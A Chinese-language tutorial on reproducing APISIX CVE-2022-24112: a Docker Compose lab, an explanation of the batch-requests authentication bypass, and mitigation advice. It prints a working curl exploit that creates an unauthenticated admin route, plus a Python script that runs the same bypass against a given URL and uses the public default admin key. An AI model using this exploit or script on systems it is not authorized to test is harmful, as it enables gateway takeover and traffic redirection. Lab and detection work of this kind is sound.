APISIX CVE-2022-24112漏洞复现:Docker Compose一键部署与自动化检测

发布时间:2026/6/28 22:55:12

APISIX CVE-2022-24112漏洞复现:Docker Compose一键部署与自动化检测 1. 项目概述与核心价值最近在整理一些老漏洞的复现环境发现很多朋友对APISIX这个高性能API网关的漏洞复现环境搭建感到头疼。尤其是CVE-2022-24112这个经典的批处理请求绕过认证漏洞虽然官方早已修复但作为学习API网关安全、理解流量控制机制绕过的经典案例它依然有很高的研究价值。网上的复现教程要么环境搭建步骤繁琐要么依赖的组件版本对不上导致复现过程磕磕绊绊。今天我就基于自己多次搭建和教学的经验手把手带你用Docker Compose一键部署一个APISIX 2.12.0的靶场环境并完整复现CVE-2022-24112漏洞最后还会附上一个我自用的、能快速检测该漏洞存在性的Python脚本。整个过程力求清晰、可复现无论你是安全研究员、开发工程师还是对云原生安全感兴趣的爱好者都能跟着步骤走下来。这个靶场的核心价值在于“开箱即用”和“深度理解”。通过Docker Compose我们能在几分钟内拉起一个包含漏洞版本APISIX、Etcd配置中心的完整微服务环境完全模拟真实部署场景。复现过程不仅仅是执行一个攻击命令我会详细拆解漏洞的原理——为什么批处理请求能绕过dashboard的认证APISIX的batch-requests插件工作机制是怎样的理解了这些你才能举一反三去审视其他API网关或中间件的类似设计是否存在风险。最后提供的检测脚本则是将手动验证过程自动化、工具化方便你在内部资产梳理或红蓝对抗演练中快速筛查。2. 环境整体设计与组件解析2.1 为什么选择Docker Compose方案搭建一个可用于漏洞复现的APISIX环境传统方式需要分别安装OpenResty、APISIX本身、Etcd并手动配置它们之间的连接过程繁琐且容易因系统环境差异导致失败。Docker Compose方案的优势在于环境隔离和声明式配置。我们将所有服务APISIX、Etcd的定义和依赖关系写在一个docker-compose.yml文件里通过一条命令就能构建并启动一个完全一致的沙箱环境。这保证了无论在你的Ubuntu、Mac还是Windows WSL2上运行结果都是一样的极大降低了复现门槛。另一个关键点是版本锁定我们可以精确指定APISIX为存在漏洞的2.12.0版本Etcd使用与之兼容的3.4.13版本避免因版本不匹配导致漏洞无法触发。2.2 靶场核心组件与漏洞背景我们的靶场主要由两个核心容器组成APISIX (2.12.0): 这是本次漏洞的主角。APISIX是一个动态、实时、高性能的API网关基于OpenResty和Nginx Lua实现。在2.12.0及之前版本中其内置的batch-requests插件允许客户端将多个HTTP请求打包成一个批处理请求发送旨在提升效率。然而该插件在处理时存在逻辑缺陷。Etcd (3.4.13): APISIX使用Etcd作为默认的配置存储和服务发现中心。网关的路由、插件等配置信息都存储在Etcd中。APISIX会监听Etcd的变更从而实现动态配置更新。在复现环境中Etcd必须正常运行APISIX才能正确加载配置并启动。CVE-2022-24112漏洞原理简述该漏洞的核心在于APISIX的batch-requests插件。该插件本意是方便客户端一次性发送多个请求。插件内部会解析批处理请求并将其拆分成独立的子请求在网关内部执行。问题出在当批处理请求中包含对APISIX Dashboard管理界面API的调用时插件在转发这些子请求到内部uri如/apisix/admin/routes时错误地绕过了对Dashboard API的认证检查。攻击者可以利用这一点在未授权的情况下通过构造特殊的批处理请求对APISIX进行路由创建、修改或删除等恶意操作从而完全掌控网关的流量转发规则。注意本环境仅用于合法安全学习与研究。请勿在未授权的情况下对任何生产系统进行测试。3. 一键搭建APISIX 2.12.0靶场3.1 准备工作与依赖安装首先确保你的操作系统中已经安装了Docker和Docker Compose。你可以通过以下命令检查docker --version docker-compose --version如果未安装可以参考官方文档进行安装。以Ubuntu系统为例安装命令大致如下# 安装Docker sudo apt-get update sudo apt-get install docker.io sudo systemctl start docker sudo systemctl enable docker # 安装Docker Compose (例如安装v2版本) sudo curl -L https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose3.2 编写Docker Compose配置文件接下来我们创建项目目录并编写核心的docker-compose.yml文件。这个文件定义了整个靶场的架构。mkdir apisix-cve-2022-24112 cd apisix-cve-2022-24112 vim docker-compose.yml将以下内容复制到docker-compose.yml文件中。我添加了大量注释帮助你理解每个配置项的作用。version: 3.8 services: # 1. Etcd 服务APISIX的配置存储中心 etcd: image: bitnami/etcd:3.4.13 # 使用与APISIX 2.12.0兼容的版本 container_name: apisix-etcd environment: - ALLOW_NONE_AUTHENTICATIONyes # 允许无认证连接简化环境 - ETCD_ADVERTISE_CLIENT_URLShttp://etcd:2379 networks: - apisix-network ports: - 2379:2379 # 将Etcd端口暴露到宿主机方便调试查看 healthcheck: # 健康检查确保APISIX启动前Etcd已就绪 test: [CMD, etcdctl, endpoint, health] interval: 10s timeout: 5s retries: 5 # 2. APISIX 服务漏洞主体版本锁定为2.12.0 apisix: image: apache/apisix:2.12.0-alpine # 指定存在漏洞的版本 container_name: apisix-gateway restart: always depends_on: etcd: condition: service_healthy # 等待etcd健康后再启动 volumes: # 挂载配置文件关键这里我们使用一个自定义配置启用batch-requests插件 - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro environment: - APISIX_DEPLOYMENTtraditional networks: - apisix-network ports: - 9080:9080 # APISIX默认代理监听端口用于转发业务流量 - 9180:9180 # APISIX Admin API端口漏洞复现的关键入口 - 9443:9443 # HTTPS端口 command: sh -c /docker-entrypoint.sh tail -f /dev/null # 启动后保持容器运行 networks: apisix-network: driver: bridge3.3 配置APISIX以启用关键插件APISIX的默认配置可能未启用batch-requests插件我们需要通过自定义配置文件来确保它被加载。在apisix-cve-2022-24112目录下创建apisix_conf文件夹和配置文件。mkdir -p apisix_conf vim apisix_conf/config.yaml将以下YAML配置写入config.yaml。这个配置做了两件关键事1. 指定Etcd地址2. 在plugins列表中启用batch-requests插件。apisix: node_listen: 9080 enable_admin: true # 启用Admin API这是漏洞触发的必要条件 admin_key: - name: admin key: edd1c9f034335f136f87ad84b625c8f1 # 默认的admin key生产环境必须修改 role: admin allow_admin: # 允许访问Admin API的IP段这里设为全开放以便复现 - 0.0.0.0/0 config_center: etcd etcd: host: - http://etcd:2379 # 指向docker-compose网络中的etcd服务名 prefix: /apisix timeout: 30 plugins: - batch-requests # 显式启用批处理请求插件这是漏洞存在的功能前提 - ... # 其他插件此处省略APISIX会加载默认插件集 plugin_attr: prometheus: export_addr: ip: 0.0.0.0 port: 90913.4 启动靶场环境并验证现在一切就绪使用一条命令启动整个靶场docker-compose up -d-d参数表示在后台运行。执行后Docker会拉取镜像并启动容器。使用以下命令查看状态docker-compose ps你应该看到apisix-etcd和apisix-gateway两个容器的状态都是Up。接着验证APISIX Admin API是否可以访问这是后续复现的基础curl http://localhost:9180/apisix/admin/routes -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1如果返回类似{count:0, ...}的JSON数据说明APISIX Admin API运行正常且默认的admin key配置生效。实操心得有时候APISIX容器启动很快但内部Nginx worker进程可能还没完全准备好。如果首次curl失败可以等待10-15秒再试。也可以使用docker-compose logs apisix查看APISIX容器的日志确认是否有错误信息。4. CVE-2022-24112漏洞原理深度解析与复现4.1 漏洞原理深度拆解要成功复现并理解这个漏洞不能停留在“执行攻击命令”的层面。我们需要深入batch-requests插件的工作流程。正常情况下客户端调用Admin API如创建路由必须在请求头中携带正确的X-API-KEY。这个校验发生在APISIX的access阶段。然而当请求通过batch-requests插件时流程发生了变化客户端发送一个POST请求到/apisix/batch-requests其body是一个JSON数组包含了多个子请求的描述。batch-requests插件解析这个JSON数组在APISIX内部即Lua代码上下文为每个子请求创建一个“内部请求”。关键漏洞点插件在创建这些内部请求并调用ngx.location.capture或类似机制转发到如/apisix/admin/routes这样的内部uri时没有携带原始请求的认证头如X-API-KEY或者内部转发流程跳过了Admin API的认证校验逻辑。因此即使发往/batch-requests的原始请求没有API Key只要其中包含构造好的、目标为Admin API的子请求该子请求就能在未经认证的情况下被执行。简单类比就像你把一份需要总经理签字的文件Admin API请求混在一沓普通文件普通请求里交给一个可以直达总经理办公室的批处理秘书batch-requests插件。秘书只看整沓文件的外包装而不会检查每一份文件是否需要授权于是那份需要签字的文件就被直接送到了总经理桌上。4.2 手动复现漏洞步骤现在我们利用这个原理发起攻击。目标是在未提供正确API Key的情况下通过批处理请求创建一个新的路由。步骤1构造恶意的批处理请求我们将创建一个指向Admin API创建路由接口的子请求。注意整个批处理请求发往/apisix/batch-requests且不携带X-API-KEY头。curl http://localhost:9180/apisix/batch-requests \ -X POST \ -H Content-Type: application/json \ -d [ { method: PUT, path: /apisix/admin/routes/evil_route, body: {\uri\: \/evil\, \upstream\: {\type\: \roundrobin\, \nodes\: {\example.com:80\: 1}}} } ]请求解析method:PUT对应创建或更新路由的HTTP方法。path:/apisix/admin/routes/evil_route这是Admin API创建路由的路径evil_route是我们指定的路由ID。body: 要创建的路由配置JSON。这个路由规则是所有访问APISIX网关/evil路径的请求都会被转发到example.com:80。步骤2验证攻击是否成功执行上面的命令后如果返回结果中包含HTTP状态码200或201并且子请求的响应体显示成功创建则说明漏洞复现成功。 更直接的验证方式是尝试用正确的API Key去获取我们刚刚创建的路由curl http://localhost:9180/apisix/admin/routes/evil_route -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1如果返回了包含uri: /evil等配置信息的路由详情则铁证如山我们确实在未授权的情况下创建了一条路由。步骤3观察影响此时APISIX网关已经多了一条规则。你可以尝试访问http://localhost:9080/evil虽然example.com:80可能无法访问但APISIX的访问日志会记录这次转发尝试证明路由生效。攻击者完全可以将上游节点指向一个受控的恶意服务器进行钓鱼、流量窃取或攻击链搭建。注意事项在实际复现中body内的JSON字符串需要正确转义。如果body内容复杂建议先在一个文本编辑器中构造好完整的JSON再粘贴到curl命令中或者使用--data-binary file.json的方式从文件读取。此外APISIX不同版本Admin API的路径或参数可能略有差异但2.12.0版本使用上述路径是没问题的。5. 自动化检测脚本编写与应用手动复现对于理解漏洞固然重要但在资产梳理或批量排查时我们需要一个自动化工具。下面我用Python编写一个简单的检测脚本它能够自动发送检测请求并判断目标APISIX是否存在CVE-2022-24112漏洞。5.1 检测脚本源码解析创建一个名为detect_cve_2022_24112.py的文件内容如下#!/usr/bin/env python3 CVE-2022-24112 APISIX 批处理请求认证绕过漏洞检测脚本 Author: Security Researcher Usage: python3 detect_cve_2022_24112.py -u http://target:9180 import argparse import requests import json import sys from urllib.parse import urljoin def check_vulnerability(target_url): 检测目标APISIX Admin API是否存在CVE-2022-24112漏洞。 原理尝试通过未授权的batch-requests接口创建一个测试路由。 batch_url urljoin(target_url, /apisix/batch-requests) test_route_id cve_2022_24112_test_route test_route_path f/apisix/admin/routes/{test_route_id} # 构造恶意批处理请求的payload # 注意这里尝试创建一个无害的路由指向一个不存在的本地地址避免实际影响 payload [ { method: PUT, path: test_route_path, body: json.dumps({ uri: /.well-known-security-test, upstream: { type: roundrobin, nodes: { 127.0.0.1:9999: 1 # 一个几乎肯定不存在的本地服务 } } }) } ] headers { Content-Type: application/json, # 特别注意我们故意不发送 X-API-KEY 头 } print(f[*] 目标: {target_url}) print(f[*] 发送检测请求到: {batch_url}) print(f[*] 尝试创建测试路由ID: {test_route_id}) try: resp requests.post(batch_url, headersheaders, jsonpayload, timeout15) resp_json resp.json() print(f[*] 批处理接口响应状态码: {resp.status_code}) # print(f[*] 原始响应: {resp_json}) # 调试时可开启 # 解析响应判断漏洞是否存在 if resp.status_code 200 and isinstance(resp_json, list): for sub_req in resp_json: # 查找我们发出的那个子请求的响应 if sub_req.get(path) test_route_path: status sub_req.get(status) body sub_req.get(body, ) if status in [200, 201]: print(f[!] 高危疑似存在CVE-2022-24112漏洞) print(f 子请求状态码: {status}, 响应: {body}) # 漏洞验证成功尝试清理创建的测试路由使用已知默认key cleanup_url urljoin(target_url, test_route_path) cleanup_headers {X-API-KEY: edd1c9f034335f136f87ad84b625c8f1} try: del_resp requests.delete(cleanup_url, headerscleanup_headers, timeout5) if del_resp.status_code 200: print(f[*] 已尝试清理测试路由: {test_route_id}) except requests.RequestException as e: print(f[*] 清理路由时发生错误可忽略: {e}) return True elif status 403 or status 401: print(f[] 目标可能已修复漏洞或认证有效。子请求被拒绝状态码: {status}) return False else: print(f[?] 未知响应状态: {status}, 响应体: {body}) return False # 如果批处理接口本身返回非200或者响应格式不符 print(f[-] 批处理请求失败或响应异常。可能目标未启用batch-requests插件或接口路径不同。) return False except requests.exceptions.ConnectionError: print(f[-] 无法连接到目标: {target_url}) return False except requests.exceptions.Timeout: print(f[-] 请求超时) return False except json.JSONDecodeError: print(f[-] 响应不是有效的JSON) return False except Exception as e: print(f[-] 检测过程中发生未知错误: {e}) return False if __name__ __main__: parser argparse.ArgumentParser(descriptionCVE-2022-24112 APISIX漏洞检测脚本) parser.add_argument(-u, --url, requiredTrue, help目标APISIX Admin API基础URL (例如: http://192.168.1.100:9180)) args parser.parse_args() if not args.url.startswith((http://, https://)): print([-] 请提供完整的URL以http://或https://开头) sys.exit(1) is_vulnerable check_vulnerability(args.url) sys.exit(0 if not is_vulnerable else 1)5.2 脚本使用与结果解读使用方法# 检测我们刚刚搭建的本地靶场 python3 detect_cve_2022_24112.py -u http://localhost:9180 # 检测远程目标假设Admin API端口开放 python3 detect_cve_2022_24112.py -u http://192.168.1.100:9180脚本工作流程与安全考量无害化检测脚本尝试创建的路由指向127.0.0.1:9999这是一个本地几乎不可能存在的服务因此不会产生实际的网络流量或影响。自动清理一旦检测到漏洞存在子请求返回200/201脚本会尝试使用一个常见的默认API Key (edd1c9f...) 去删除刚刚创建的测试路由。这是一个负责任的检测行为。当然如果目标系统修改了默认key清理会失败但这不影响漏洞判定且测试路由本身是无害的。结果判断返回状态码200/201子请求成功极大概率存在漏洞。返回状态码403/401子请求被拒绝说明认证生效目标可能已修复。批处理接口404或返回错误可能目标未启用batch-requests插件或者Admin API路径不同无法直接判定。实操心得这个脚本是一个基础的PoC。在真实环境中Admin API的端口9180很可能不对外开放或者IP访问受到限制。此时漏洞利用条件更为苛刻。但作为资产排查它可以快速验证那些因配置失误而将管理端口暴露在外的APISIX实例。此外脚本中的默认API Key是公开的生产系统必须修改但很多测试或开发环境往往会忽略这一点使得漏洞的危害性大增。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御。如果你正在管理APISIX请立即检查并采取以下措施立即升级这是最根本的解决方案。Apache APISIX官方在漏洞披露后迅速发布了修复版本。请将APISIX升级到2.13.0及以上版本。在新版本中batch-requests插件在处理发往Admin API的子请求时会强制进行认证校验。临时缓解措施如果无法立即升级禁用batch-requests插件在APISIX的配置文件config.yaml中从plugins列表里移除batch-requests。然后重启APISIX服务。plugins: # - batch-requests # 注释或删除这一行 - key-auth - limit-count ...严格限制Admin API访问在config.yaml中利用allow_admin字段将可访问Admin API的IP范围限制为仅限管理员的IP地址或安全的内部网络段绝对不要使用0.0.0.0/0。apisix: allow_admin: - 192.168.1.0/24 # 仅允许内网特定网段 - 10.10.10.5/32 # 或仅允许特定管理主机修改默认的Admin API Key配置文件中的admin_key是超级密钥务必修改为强密码并定期更换。安全配置最佳实践最小化端口暴露在生产环境中Admin API端口默认9180绝不应该暴露在公网或非安全网络。应通过VPN、跳板机或白名单策略进行访问控制。启用HTTPS为Admin API配置SSL/TLS加密防止凭证在传输中被嗅探。定期审计与监控定期检查APISIX的路由配置、插件启用情况以及日志关注异常的管理接口访问记录。7. 拓展思考与同类漏洞挖掘CVE-2022-24112给我们带来的启示远不止于一个具体的漏洞修复。它暴露了在API网关/中间件设计中内部请求转发与边界安全校验这一普遍性安全问题。思考方向一插件链的信任边界APISIX的插件机制非常强大但每个插件都可能成为攻击面。batch-requests插件因为需要内部转发请求其权限本质上被放大。在设计类似功能的插件时必须明确任何内部发起的、指向高权限接口的请求都必须重新进行完整的上下文安全校验不能因为请求来自“内部”就盲目信任。思考方向二默认配置的安全性很多漏洞的利用都依赖于默认配置如默认端口、默认密钥、默认开启的插件。作为运维人员在部署任何中间件时第一步就应该是“硬化”配置关闭不必要的功能、修改默认凭证、限制访问源。安全往往就体现在这些基础的配置细节上。动手实践尝试分析其他插件你可以利用这个靶场环境去阅读APISIX其他插件的源码特别是涉及请求转发或代理的插件思考是否存在类似的逻辑缺陷。例如proxy-rewrite插件可以重写请求serverless插件可以执行函数它们在与Admin API交互时权限控制是否严谨这种“带着问题去读代码”的方式是提升安全研究能力非常有效的路径。搭建这个靶场并完成复现就像是完成了一次精准的外科手术。你不仅看到了“病症”漏洞现象更亲手解剖了“病理”代码逻辑并制作了“诊断工具”检测脚本。希望这个过程能帮助你深化对云原生API网关安全的理解并将这种分析思路应用到更广泛的安全研究中去。

相关新闻